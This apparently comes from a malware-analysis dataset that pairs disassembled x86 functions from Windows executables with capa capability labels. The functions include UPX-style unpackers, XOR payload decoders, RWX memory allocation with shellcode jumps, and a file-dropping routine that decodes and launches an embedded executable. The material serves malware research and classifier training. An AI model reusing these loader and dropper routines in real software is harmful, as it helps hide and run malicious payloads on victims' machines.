joyce8/EMBER2024-capa huggingface dataset:
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
jl 0x430030
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp loc.00401219

Function at 0x41ad50
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x411015
lea edi, [esi - 0x10015]
push edi
or ebp, 0xffffffff
jmp 0x41ad72
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x41ad79
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x41ad68
mov eax, 1
add ebx, ebx
jne 0x41ad8b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x41ad80
jne 0x41ad9c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41ad80
xor ecx, ecx
sub eax, 3
jb 0x41adb0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x41ae22
mov ebp, eax
add ebx, ebx
jne 0x41adbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x41adc8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x41adec
inc ecx
add ebx, ebx
jne 0x41add8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x41adcd
jne 0x41ade9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41adcd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41ae0c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41adfd
jmp 0x41ad6e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41ae0c
add edi, ecx
jmp 0x41ad6e
pop esi
mov edi, esi
mov ecx, 0x2b3
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41ae2a
cmp byte [edi], 5
jne 0x41ae2a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x41ae2f
lea edi, [esi + 0x18000]
mov eax, dword [edi]
or eax, eax
je 0x41aea7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1a000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1a094]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41ae5c
mov ecx, edi
jns 0x41ae8b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1a09c]
or eax, eax
je 0x41aea1
mov dword [ebx], eax
add ebx, 4
jmp 0x41ae79
call dword [esi + 0x1a098]
mov ebp, dword [esi + 0x1a0a0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x41aedb
sub esp, 0xffffff80
jmp 0x404c20
Function at 0x4531d5
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push esi
push edi
push 0x4013ec
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0x401408
push eax
mov dword [0x971a24], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x9d96c4]
xor ebx, ebx
push ebx
mov dword [0x971a1c], eax
call eax
lea ecx, [ebp - 4]
push ecx
push 0x40
push dword [0x9d96c4]
mov dword [0x95269c], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor esi, esi
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetGeoInfoW]
cmp esi, 0x11c825e
jg 0x453249
inc esi
mov eax, esi
cdq
cmp edx, 0x6d
jl 0x453224
jg 0x453249
cmp eax, 0xd69e5f85
jb 0x453224
mov eax, dword [0x45f734]
mov edx, dword [0x9d96c4]
mov dword [0x9d96c8], eax
xor eax, eax
cmp edx, ebx
jbe 0x453280
mov ecx, dword [0x9d96c8]
mov cl, byte [ecx + eax + 0xb2d3b]
mov edx, dword [0x95269c]
mov byte [edx + eax], cl
mov edx, dword [0x9d96c4]
inc eax
cmp eax, edx
jb 0x45325f
mov ecx, dword [0x95269c]
push 0x45f008
call fcn.0045317d
push 0x7b
pop esi
cmp dword [0x9d96c4], 0x54d
jne 0x4532ba
xor eax, eax
mov dword [ebp - 0x18], ebx
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x34]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsW]
dec esi
jne 0x453293
mov eax, dword [0x95269c]
mov dword [0x971a2c], eax
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4532ce
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
xor ebx, ebx
cmp dword [0x9d96c4], 0x598
push edi
jne 0x45334a
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
push 0x401414
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapValidate]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateJobObjectW]
push ebx
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push ebx
call fcn.004539fe
push ebx
push ebx
call fcn.004537f3
push ebx
call fcn.004537dc
push 0x30
push ebx
push 0x40141c
push 0x401420
call fcn.004535f0
push 0x40142c
call fcn.00453541
add esp, 0x24
mov esi, dword [0x4606e4]
mov edi, 0x462840
add esi, 0xb2d3b
mov eax, edi
mov dword [0x9d96c4], esi
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x453366
sub eax, ecx
cmp eax, 0x1515
jne 0x4533dd
cmp esi, 0x18
jne 0x4533a1
push ebx
push ebx
call sub.KERNEL32.dll_SetSystemPowerState
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjectsEx]
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
mov esi, dword [0x9d96c4]
cmp esi, 0x6ad
jne 0x4533ba
push ebx
call dword [sym.imp.KERNEL32.dll_HeapUnlock]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpSetOption]
push 0x401430
push edi
call fcn.004535f0
push ebx
push ebx
call fcn.00453501
push ebx
push ebx
push ebx
call fcn.0045347c
push ebx
call fcn.004539fe
add esp, 0x20
call fcn.004531d5
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10

Function at 0x4586f8
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x461c50]
jne 0x458702
repz ret
jmp fcn.0045b78d
Function at 0x45aebb
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00456021
and dword [ebp - 4], 0
cmp dword [0x9d9d28], 0
mov ebx, eax
jne 0x45af6c
push 0x401cc8
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x45b01d
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x401cbc
push edi
call esi
test eax, eax
je 0x45b01d
push eax
call fcn.00455faf
mov dword [esp], 0x401cac
push edi
mov dword [0x9d9d28], eax
call esi
push eax
call fcn.00455faf
mov dword [esp], 0x401c98
push edi
mov dword [0x9d9d2c], eax
call esi
push eax
call fcn.00455faf
mov dword [esp], 0x401c7c
push edi
mov dword [0x9d9d30], eax
call esi
push eax
call fcn.00455faf
pop ecx
mov dword [0x9d9d38], eax
test eax, eax
je 0x45af6c
push 0x401c64
push edi
call esi
push eax
call fcn.00455faf
pop ecx
mov dword [0x9d9d34], eax
mov eax, dword [0x9d9d34]
cmp eax, ebx
je 0x45afc4
cmp dword [0x9d9d38], ebx
je 0x45afc4
push eax
call fcn.0045602a
push dword [0x9d9d38]
mov esi, eax
call fcn.0045602a
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x45afc4
test edi, edi
je 0x45afc4
call esi
test eax, eax
je 0x45afbb
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x45afbb
test byte [ebp - 0xc], 1
jne 0x45afc4
or dword [ebp + 0x10], 0x200000
jmp 0x45affd
mov eax, dword [0x9d9d2c]
cmp eax, ebx
je 0x45affd
push eax
call fcn.0045602a
pop ecx
test eax, eax
je 0x45affd
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x45affd
mov eax, dword [0x9d9d30]
cmp eax, ebx
je 0x45affd
push eax
call fcn.0045602a
pop ecx
test eax, eax
je 0x45affd
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x9d9d28]
call fcn.0045602a
pop ecx
test eax, eax
je 0x45b01d
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x45b01f
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40344c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x40345b
pop dword [ebp - 0x40]
mov eax, 0x25150b22
sub eax, 0x24d4d6c7
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0x4723252f
add dword [ebp - 0x50], 0x72f201c
mov dword [ebp - 0x4c], 0xfce8b017
add dword [ebp - 0x4c], 0x354a9c2e
mov dword [ebp - 0x48], 0x74c40586
add dword [ebp - 0x48], 0xd7883ea8
mov dword [ebp - 0x44], 0x84914e3f
sub dword [ebp - 0x44], 0x84914e3f
lea eax, [ebp - 0x50]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0xf800b0ac
add dword [ebp - 0x50], 0x7c71b8aa
mov dword [ebp - 0x4c], 0xae856ba8
add dword [ebp - 0x4c], 0x92e6f5cd
mov dword [ebp - 0x48], 0xdfdbcc6
sub dword [ebp - 0x48], 0xaa8e505a
mov dword [ebp - 0x44], 0x6178427b
add dword [ebp - 0x44], 0x9e87bd85
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x38657
push 0
call eax
mov ecx, 0x38e99c6b
add ecx, 0xc716b1b5
mov ebx, eax
mov esi, 0x552bf200
sub esi, 0x54eb6e00
add esi, dword [ebp - 0x40]
mov edi, 0x9126a620
add edi, 0xefa9348
add dword [ebp - 0x1c], 0x5dca0c87
mov edx, dword [esi]
sub dword [ebp - 0x20], 0x2554bafb
xor edx, edi
xor dword [ebp - 4], edi
mov dword [ebx], edx
sub dword [ebp - 0x38], edx
add ebx, 0x62944f27
add ebx, 0x9d6bb0dd
add esi, 4
loop 0x403573
add eax, 0xd5e35814
add eax, 0x2a1dd33f
mov ebx, eax
add eax, 5
mov ecx, 0x2c356635
sub ecx, 0x2bf56635
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x48f9e0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x7c000]
push edi
jmp 0x48f9fa
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x48fa01
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x48f9f0
mov eax, 1
add ebx, ebx
jne 0x48fa13
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x48fa24
jne 0x48fa43
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x48fa43
dec eax
add ebx, ebx
jne 0x48fa30
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x48fa08
add ebx, ebx
jne 0x48fa3f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x48fa95
xor ecx, ecx
sub eax, 3
jb 0x48fa5b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x48faca
sar eax, 1
mov ebp, eax
jmp 0x48fa66
add ebx, ebx
jne 0x48fa66
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x48fa34
inc ecx
add ebx, ebx
jne 0x48fa74
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x48fa34
add ebx, ebx
jne 0x48fa81
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x48fa76
jne 0x48fa92
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x48fa76
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x48fab4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x48faa6
jmp 0x48f9f6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x48fab4
add edi, ecx
jmp 0x48f9f6
pop esi
mov edi, esi
mov ecx, 0x1a9e
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x48fad2
cmp byte [edi], 6
jne 0x48fad2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x48fad7
lea edi, [esi + 0x8d000]
mov eax, dword [edi]
or eax, eax
je 0x48fb4f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8f000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8f104]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x48fb04
mov ecx, edi
jns 0x48fb33
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8f108]
or eax, eax
je 0x48fb49
mov dword [ebx], eax
add ebx, 4
jmp 0x48fb21
call dword [esi + 0x8f118]
mov ebp, dword [esi + 0x8f10c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x207]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x48fb83
sub esp, 0xffffff80
jmp section.UPX0

Function at 0x408919
Capabilities:
Encode data using xor

Disassembly:
mov ecx, 0x4085d8
dec ebx
add ebx, ebx
call fcn.0040894f
and edi, ebx
xor dword [esi], ecx
add esi, 1
cmp esi, eax
jne fcn.00408919
or edi, ebx
sub esp, 4
mov dword [esp], 0x83eca8ff
mov edi, dword [esp]
add esp, 4
ret
Function at 0x401026
Capabilities:
Create process on windows
Delete file
Read file on windows
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov edx, section..text
push edi
push esi
push ebx
sub esp, 0x574
lea ecx, [esp + 0x64]
cmp edx, entry0
jae 0x40104c
movzx eax, byte [edx]
inc edx
xor al, 0xd9
mov byte [ecx], al
inc ecx
jmp 0x401039
mov byte [ecx], 0
lea esi, [esp + 0x64]
push esi
push 1
push 0
call 0x401220
push 0x104
lea ebx, [esp + 0x468]
push ebx
push 0
call sub.KERNEL32.dll_GetModuleFileNameA
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push ebx
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 2
push 0
push 0xffffffffffffff9c
push eax
call sub.KERNEL32.dll_SetFilePointer
push 0
lea ebp, [esp + 4]
push ebp
push 0x64
push esi
push ebx
call sub.KERNEL32.dll_ReadFile
push ebx
call sub.KERNEL32.dll_CloseHandle
lea edx, [esp + 0x65]
lea ecx, [esp + 0xc7]
cmp edx, ecx
jae 0x4010d4
movzx eax, byte [esp + 0x64]
xor byte [edx], al
inc edx
jmp 0x4010c6
lea edx, [esp + 0x14]
lea eax, [esp + 0x58]
cmp edx, eax
jae 0x4010e6
mov byte [edx], 0
inc edx
jmp 0x4010dc
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x18]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x8d]
push eax
call sub.KERNEL32.dll_CreateProcessA
test eax, eax
jne 0x401205
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0x47c]
push eax
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 2
mov eax, 0xffffff9c
push 0
sub eax, dword [esp + 0x6d]
push eax
push ebx
call sub.KERNEL32.dll_SetFilePointer
push 0
push ebp
push dword [esp + 0x6d]
push dword [esp + 0x71]
push 0
call sub.KERNEL32.dll_GetProcessHeap
push eax
call sub.KERNEL32.dll_HeapAlloc
push eax
mov esi, eax
push ebx
call sub.KERNEL32.dll_ReadFile
push ebx
call sub.KERNEL32.dll_CloseHandle
mov eax, esi
mov edx, esi
add eax, dword [esp + 0x65]
cmp esi, eax
jae 0x40119b
movzx eax, byte [esp + 0x64]
xor byte [edx], al
mov eax, esi
inc edx
add eax, dword [esp + 0x65]
cmp edx, eax
jmp 0x401187
push pe_nt_image_headers32
lea edi, [esp + 0x6d]
push edi
call sub.KERNEL32.dll_SetFileAttributesA
push edi
call sub.KERNEL32.dll_DeleteFileA
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push edi
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 0
push ebp
push dword [esp + 0x6d]
push esi
push eax
call sub.KERNEL32.dll_WriteFile
push ebx
call sub.KERNEL32.dll_CloseHandle
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x18]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push edi
call sub.KERNEL32.dll_CreateProcessA
push 0
call sub.KERNEL32.dll_ExitProcess
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp dword [sym.imp.KERNEL32.dll_CreateMutexA]

Function at 0x408957
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x4085d8
sub esi, 0x4c9cb043
push 0xd4f7dcee
pop edx
call fcn.00408975
xor dword [ecx], eax
inc ecx
cmp ecx, ebx
jne fcn.00408957
ret
Function at 0x409888
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40995b
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x409974
push ebx
push 0x409980
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.004033b4
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.0040277c
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00403414
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x409908
mov al, 0x62
call fcn.00409460
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
call fcn.0040985c
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
dec eax
je 0x409911
call fcn.0040985c
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409962
lea eax, [ebp - 4]
call fcn.00403198
ret

Function at 0x409a14
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409ac8
jmp 0x409abd
cmp dword [esi + 0x10], 0x1000
jne 0x409aa9
test byte [esi + 0x15], 1
jne 0x409aa9
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x409a68
cmp eax, 2
je 0x409a68
cmp eax, 0x10
je 0x409a68
cmp eax, 0x20
jne 0x409a7d
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x409a7d
mov bl, 1
xor ebp, ebp
jmp 0x409a8e
mov eax, dword [esi]
add eax, ebp
call fcn.00409a0c
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x409a81
test bl, bl
je 0x409aa9
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409ac8
mov eax, dword [esi + 4]
cmp eax, edi
je 0x409a40
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x5d8e71
Capabilities:
Encode data using xor

Disassembly:
sub esp, 4
mov dword [esp], 0x5d8b64
mov edx, dword [esp]
add esp, 4
or ecx, edi
mov edi, edi
mov edi, 0x6ad22c95
call fcn.005d8ec5
mov edi, ecx
xor dword [eax], edx
mov ecx, edi
sub ecx, ecx
add ecx, edi
add eax, 2
mov ecx, 0xb4761bdc
or edi, ecx
add edi, 0xc450209f
cmp eax, esi
jl fcn.005d8e71
sub edi, 0x7d688086
or edi, ecx
ret
Function at 0x484ce3
Capabilities:
Encode data using xor

Disassembly:
mov ecx, 0x484a08
dec edx
mov edi, 0x877d0a25
add edi, 0xc081564c
call fcn.00484d1a
mov edx, edi
xor dword [esi], ecx
or edi, edi
add esi, 2
add edi, edx
cmp esi, eax
jl fcn.00484ce3
or edi, edx
mov edx, edi
add edi, edi
ret
Function at 0x438cb6
Capabilities:
Encode data using xor

Disassembly:
push 0x438a14
pop esi
sub edi, edx
push edi
mov edi, dword [esp]
add esp, 4
inc edx
call fcn.00438cf3
inc edi
xor dword [ebx], esi
or edi, edx
sub edi, 0xc7cc078
dec edi
inc ebx
sub edi, edx
cmp ebx, ecx
jne fcn.00438cb6
mov edx, 0xe229eea0
add edi, 0xd5b7f6b5
ret
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x401b66
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410004]
jne 0x401b70
repz ret
jmp fcn.0040324d

Function at 0x407db7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x407dc6
pop dword [ebp - 0x28]
mov eax, 0x407dc6
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0x9e12d8be
add dword [ebp - 0x38], 0xb03f6c8d
mov dword [ebp - 0x34], 0xb1635202
add dword [ebp - 0x34], 0x80cffa43
mov dword [ebp - 0x30], 0xbc57ab9d
sub dword [ebp - 0x30], 0x700b676f
mov dword [ebp - 0x2c], 0x7c8f4a32
add dword [ebp - 0x2c], 0x8370b5ce
lea eax, [ebp - 0x38]
push eax
mov eax, 0xa6bd4122
sub eax, 0xa67c70d6
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0x769d8d16
add dword [ebp - 0x38], 0xfdd4dc40
mov dword [ebp - 0x34], 0xf9a16e7a
add dword [ebp - 0x34], 0x47caf2fb
mov dword [ebp - 0x30], 0x7cae41fb
sub dword [ebp - 0x30], 0x193ed58f
mov dword [ebp - 0x2c], 0x7390adeb
add dword [ebp - 0x2c], 0x8c6f5215
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, 0x72c53ff1
sub eax, 0x72846fa9
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x3d57d
push 0
call eax
mov ecx, 0x4178b575
add ecx, 0xbe87a21c
xor esi, esi
add esi, eax
mov edx, 0x41b000
add edx, dword [ebp - 0x28]
mov ebx, 0x48b15cf3
add ebx, 0xbf72bc3a
mov dword [ebp - 0x14], 0x1cf6ba0
mov edi, dword [edx]
mov dword [ebp - 0x1c], 0xc34cc302
sub edi, ebx
mov dword [ebp - 0x20], 0xa04cc3c1
mov dword [esi], edi
xor dword [ebp - 0x18], 0x15f4e133
add esi, 4
add edx, 0x3a90a64
add edx, 0xfc56f5a0
loop 0x407edf
add eax, 0xb457d040
add eax, 0x4ba980d7
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x9a4424b5
add ecx, 0x65fbdb4b
add ecx, dword [ebp - 0x28]
call ebx
leave
ret